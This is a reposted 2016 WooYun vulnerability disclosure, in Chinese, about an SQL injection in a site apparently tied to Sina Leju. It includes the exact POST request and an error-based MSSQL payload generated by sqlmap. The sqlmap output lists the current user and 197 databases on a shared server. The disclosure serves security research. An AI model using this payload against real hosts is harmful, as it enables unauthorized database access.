新浪乐居某系统存在SQL注入漏洞

admin
admin
admin
140559
文章
117
评论
2017年5月2日08:16:45评论502 views字数 212阅读0分42秒阅读模式
摘要

2016-06-16： 细节已通知厂商并且等待厂商处理中
2016-06-16： 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-06-21： 厂商已经主动忽略漏洞，细节向公众公开

漏洞概要 关注数(6) 关注此漏洞

缺陷编号： WooYun-2016-219921

漏洞标题： 新浪乐居某系统存在SQL注入漏洞

相关厂商： leju.com

漏洞作者： 路人甲

提交时间： 2016-06-16 17:16

公开时间： 2016-06-21 17:30

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

0人收藏

漏洞详情

披露状态：

2016-06-16： 细节已通知厂商并且等待厂商处理中
2016-06-16： 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-06-21： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

http://shleju.w114.mc-test.com/

详细说明：

参数：xName

code 区域 
POST /xiangmulistview.aspx HTTP/1.1
 Content-Length: 11
 Content-Type: application/x-www-form-urlencoded
 Referer: http://shleju.w114.mc-test.com:80/
 Cookie: ASP.NET_SessionId=rslqpvnnhedmgmilulgj3d0z
 Host: shleju.w114.mc-test.com
 Connection: Keep-alive
 Accept-Encoding: gzip,deflate
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
 Accept: */*
 
 xName=1*

漏洞证明：

code 区域 
sqlmap identified the following injection point(s) with a total of 208 HTTP(s) requests:
 ---
 Parameter: #1* ((custom) POST)
     Type: error-based
     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
     Payload: xName=1' AND 2788=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(106)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (2788=2788) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(98)+CHAR(106)+CHAR(113)))-- NKiI
 ---
 web server operating system: Windows 2008 or Vista
 web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.0
 back-end DBMS: Microsoft SQL Server 2000
 sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: #1* ((custom) POST)
     Type: error-based
     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
     Payload: xName=1' AND 2788=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(106)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (2788=2788) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(98)+CHAR(106)+CHAR(113)))-- NKiI
 ---
 web server operating system: Windows 2008 or Vista
 web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.0
 back-end DBMS: Microsoft SQL Server 2000
 current user:    'sq_yusuan'
 current database:    'sq_yusuan'
 current user is DBA:    False
 sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: #1* ((custom) POST)
     Type: error-based
     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
     Payload: xName=1' AND 2788=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(106)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (2788=2788) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(98)+CHAR(106)+CHAR(113)))-- NKiI
 ---
 web server operating system: Windows 2008 or Vista
 web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.0
 back-end DBMS: Microsoft SQL Server 2000
 available databases [197]:
 [*] master
 [*] model
 [*] msdb
 [*] Northwind
 [*] pubs
 [*] sq_1252724821
 [*] sq_464475463
 [*] sq_a0910205251
 [*] sq_abc20131113
 [*] sq_afanyi2013
 [*] sq_agarwood
 [*] sq_aixiu8023
 [*] sq_almono
 [*] sq_anadolu
 [*] sq_angoltech
 [*] sq_baiyuyin
 [*] sq_bh2345l
 [*] sq_bjsbfcsq
 [*] sq_bocetest
 [*] sq_cake88zs
 [*] sq_camming
 [*] sq_ceob521m
 [*] sq_ceshisql
 [*] sq_cf7191810
 [*] sq_changshi82
 [*] sq_chsichsi
 [*] sq_ckts2014
 [*] sq_cl2013
 [*] sq_cnwoods
 [*] sq_comsite
 [*] sq_cqvitdb
 [*] sq_czcwan123
 [*] sq_danson
 [*] sq_daohang0808
 [*] sq_dbdg2011
 [*] sq_dborder
 [*] sq_ding2013
 [*] sq_duduge1
 [*] sq_duomeicc
 [*] sq_dydongrui1
 [*] sq_eastlowe
 [*] sq_eastvendor
 [*] sq_egrets2000
 [*] sq_eimshouse
 [*] sq_EMeal08
 [*] sq_erpcqwjfccn
 [*] sq_fanyi021net
 [*] sq_feiyuxiu
 [*] sq_fjjyyw2013
 [*] sq_fjslsp
 [*] sq_forid317
 [*] sq_forwardtoys
 [*] sq_freedomx
 [*] sq_fxy0831
 [*] sq_fzgrcycom
 [*] sq_fzhou223mssql
 [*] sq_gkbbt2
 [*] sq_globalshare
 [*] sq_gywdhg
 [*] sq_gzdycom
 [*] sq_gzjspxw123
 [*] sq_gzxinhaosi2
 [*] sq_h18918960336
 [*] sq_hanwei123
 [*] sq_hlsyh520
 [*] sq_hmddream
 [*] sq_hnpgxh
 [*] sq_hnswms
 [*] sq_hongstar365
 [*] sq_huadingit
 [*] sq_huiyoush
 [*] sq_hunnintu
 [*] sq_hxlr2013
 [*] sq_hymz888
 [*] sq_iuiyiuiy2
 [*] sq_jbb365
 [*] sq_jiayi161
 [*] sq_jinbo6211
 [*] sq_jinriyuqid
 [*] sq_jinrong0808
 [*] sq_jixingbang
 [*] sq_jqsy1718
 [*] sq_jsgwyksw
 [*] sq_jtwdfw
 [*] sq_junweisiqwe
 [*] sq_juyu2015
 [*] sq_jxg1124
 [*] sq_kezhang0808
 [*] sq_kuer1002
 [*] sq_lantolink
 [*] sq_lawer360
 [*] sq_layer100
 [*] sq_liuyinyu
 [*] sq_liuyong7520
 [*] sq_ljstrb
 [*] sq_longhuyi
 [*] sq_lsvcom
 [*] sq_lvegunet
 [*] sq_lzncic
 [*] sq_mrmf0001
 [*] sq_mrzdh2233
 [*] sq_mswh3way
 [*] sq_muchendiban
 [*] sq_myintersys
 [*] sq_mytestdb
 [*] sq_mywslw
 [*] sq_nbyaocai123
 [*] sq_newswap
 [*] sq_nf888888
 [*] sq_NJDT2015
 [*] sq_ntim20130930
 [*] sq_pailew
 [*] sq_pingou
 [*] sq_pjkc
 [*] sq_ptsgxq
 [*] sq_pxid2013
 [*] sq_qest2013
 [*] sq_qiaoyf
 [*] sq_qichao3000
 [*] sq_qiuh9208
 [*] sq_qq1012647
 [*] sq_qq503037121
 [*] sq_qqqnweb
 [*] sq_rongyou2014
 [*] sq_shanghu2013
 [*] sq_shazhongq
 [*] sq_shboyon2
 [*] sq_shchezhixiao
 [*] sq_shdashequ
 [*] sq_shengzhaobio
 [*] sq_shiyin520
 [*] sq_shjmkq2000
 [*] sq_shkj140813
 [*] sq_shkj150425
 [*] sq_shkj150721
 [*] sq_shkj151016
 [*] sq_shkj151026
 [*] sq_shkj151217
 [*] sq_shkj160503
 [*] sq_shkj160509
 [*] sq_shkj160525
 [*] sq_shkj160603
 [*] sq_shujuguanli
 [*] sq_shujuku2013
 [*] sq_shyunwen20131
 [*] sq_sinee2016
 [*] sq_siteserver
 [*] sq_sitytech2013
 [*] sq_sql2000date
 [*] sq_sql2000wd
 [*] sq_sqltopcourage
 [*] sq_ssdd2013
 [*] sq_stgdsyxx
 [*] sq_sunpcdb1
 [*] sq_sunshine2
 [*] sq_talentcorpdb1
 [*] sq_tbcxmb
 [*] sq_tcby002
 [*] sq_tcdq1974
 [*] sq_testlaskdjf
 [*] sq_tger258369
 [*] sq_tingyou123
 [*] sq_ufolbb2013
 [*] sq_ujoygroup
 [*] sq_w123456
 [*] sq_wczx98
 [*] sq_web8980
 [*] sq_wem520
 [*] sq_wesleydata
 [*] sq_wlcyjd
 [*] sq_wxpneumdata
 [*] sq_wyxfl1
 [*] sq_x2013l
 [*] sq_xad20140530
 [*] sq_xdpc111
 [*] sq_xifashui
 [*] sq_xiqing3
 [*] sq_xnkq2013
 [*] sq_yachuan
 [*] sq_yanglan21v
 [*] sq_yangyang
 [*] sq_yanvps
 [*] sq_yczedu
 [*] sq_yfplastic001
 [*] sq_yuanbxjz
 [*] sq_yuetong
 [*] sq_yusuan
 [*] sq_yuyue
 [*] sq_yzspfx
 [*] sq_zenrebrand
 [*] sq_zhangma
 [*] sq_zhuanyi1
 [*] sq_zjp03701
 [*] sq_zjtonglicom
 [*] sq_zslpms13
 [*] sq_zukexbaicai
 [*] tempdb

新浪乐居某系统存在SQL注入漏洞

新浪乐居某系统存在SQL注入漏洞

新浪乐居某系统存在SQL注入漏洞

新浪乐居某系统存在SQL注入漏洞

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-06-21 17:30

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-06-16 18:57 | nony ( 路人 | Rank:30 漏洞数:15 | Not do is die...)

    0

    坐等忽略

  2. 2016-06-16 21:32 | answer 新浪乐居某系统存在SQL注入漏洞 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)

    0

    ddd

  3. 2016-06-17 09:19 | 新浪乐居(乌云厂商)

    0

    你好，这个域名不是乐居的，谢谢关注

  4. 2016-06-17 09:39 | 暴走 ( 普通白帽子 | Rank:615 漏洞数:107 | 专心补刀。)

    0

    @新浪乐居 页面显示是新浪乐居的，不解。

  5. 2016-06-21 18:52 | 心云 ( 普通白帽子 | Rank:534 漏洞数:146 | 有追求，才会有提高！尽快达到下一个目标!)

    0

    @暴走 我感觉也是新浪乐居的 厂商说不是 好奇怪

  6. 2016-06-21 20:09 | fuzz-ing ( 普通白帽子 | Rank:197 漏洞数:45 | 其实一开始要我挖洞我是拒绝的，因为不能你...)

    0

    蜜罐，哈哈

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin